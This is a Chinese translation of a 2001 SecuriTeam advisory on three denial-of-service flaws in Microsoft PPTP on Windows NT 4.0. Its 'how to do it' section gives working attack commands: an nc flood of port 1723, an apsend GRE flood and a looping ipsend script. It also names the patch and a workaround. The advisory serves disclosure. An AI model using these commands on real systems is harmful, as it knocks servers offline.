如何DoS攻击微软PPTP的详细资料

/ns/ld/win/data/20010305130724.htm

如何DoS攻击微软PPTP的详细资料 feb.27.2001
****************************************
*来源:Beyond-Security's SecuriTeam.com*
*翻译:春之律-www.20cn.net *
****************************************
简介:PPTP(Piont-to-point Tunneling Protocol 点对点传输协议)是一个用以建立VPN的网络协议. 此协议需TCP(端口1723)和GRE以完成工作. PPTP在 RFC 2637(www.ietf.org/rfc/frc2673.txt) 中有详细说明.本安全建议主要说明三个分别的弱点. 所有的这三个弱点都会使windows NT4.0 workstation和sever计算机配置以接受PPTP链接. 第一个弱点包括畸形的TCP数据包; 此弱点只影响某些硬件,也只对prior至SP6系统有影响. 第二个和第三个弱点包括畸形的GRE数据包;这些会影响所有的使用任何Service Pack的计算机.请注意微软原来的公共上并没有将NT4.0工作台列到易受攻击类.不管怎么说,如果被配置成允许接受外来的PPTP连接, NT Workstation就是易受攻击的。不过Windows 2000的各个版本并没有被发现存在此弱点。

易收攻击系统:
* Dell PowerEdge 2200 with Intel 10/100 adapter, 256 MB RAM, NT Server 4.0
* Dell Dimension XPS M200s with 3Com 905B adapter, 64 MB RAM, NT Server 4.0

安全的系统:
* HP Vectra XA with AMD PCNet integrated Ethernet, 128 MB RAM, NT Workstation 4.0
* Dell Latitude CPx with 3Com 3CCFEM656 PC Card adapter, 128 MB RAM, NT Workstation 4.0
* Generic dual PII (Asus motherboard) with 3Com 980x adapter, 256 MB RAM, NT Server 4.0
* Dell Dimension XPS T550 with 3Com 905C-TX adapter, 128 MB RAM, NT Workstation 4.0

如何实现:
~~~~~~~~~
*需要的工具*
1.UNIX box(例如linux,*bsd....)
2.netcat (http://www.l0pht.com/~weld/netcat/)
3.apsend (http://www.elxsi.de/)
4.ipsend (http://coombs.anu.edu.au/~avalon/)

**弱点一: TCP端口1723
此弱点只在prior至SP6的机器上有效。并不是所有的机器都存在这个漏洞;请在Unix 操作系统内键入以下:

$ nc <ip address> 1723 < /dev/zero

如机器存在此漏洞, 目标主机将在几秒种之内蓝屏,并有如下错误:
STOP 0x0A (0x0, 0x2, 0x0, 0x0) IRQL_NOT_LESS_OR_EQUAL
再次提醒,此弱点只对部分机器有效,在http://www.dsi-inc.net/dsi/pptp_security_report.shtml
上你可以找到一个测试硬件和产生结果的列表。

**弱点二:GRE
此弱点对所有Service pack有效。在目标机器上,打开任务管理器选择“运行”。并打开 一个DOS窗口(开始-运行-CMD).在Unix类操作系统上:
$ apsend -d <ip address> --protocol 47 -m 0 -q
在目标主机上你将看到任务管理器内内核记忆的数字将缓慢上升。最终,这些数字将停止增加;此时, CPU在一段时间内有可能被100%占用。现在你可以试着在命令提示符后键入一个命令例如DIR,这时你将看 到一个信息说提示操作系统已不可能完成要执行的命令。你也可以找到系统日志并看到有以下记录:
Event ID: 2000 "The server's call to a system service failed unexpectedly."

和/或者

Event ID: 2019 "The server was unable to allocate from the system nonpaged pool because the pool was empty."
最终目标主机会重新启动/蓝屏,或是仍然持续在不可用的状态。现在回想微软对此的描述,这需要大量 的数据包。一个64MB的服务器,大约需要350 000到400 000的数据包。注意这种效果是累积性的;就是 说 一个攻击者可以在上午10点发出200 000个数据包然后在下午两点再发送200 000个数据包,这样是有 效的 。

**弱点三:GRE
此弱点同样对所有的Service pack有效。请在Unix操作系统上:
#!/bin/csh
foo:
ipsend -i <interface> -P gre <ip address> > /dev/null
goto foo
目标主机很快会蓝屏,大概需要50个数据包。

解决方法:
~~~~~~~~~
微软在2001年二月13日已经发行了补丁。微软安全公告:Malformed PPTP Packet Stream DoS Vulnerability (Patch available)
工作区内,是有可能在你周界内用区别来源IP地址的方法来过滤GRE的。不管怎样,自从GRE被定义成无连接协议后,来源IP地址的哄骗是很容易作到的。因而,如果攻击者可以猜到哪个IP地址是被允许的那么过滤器不会起作用。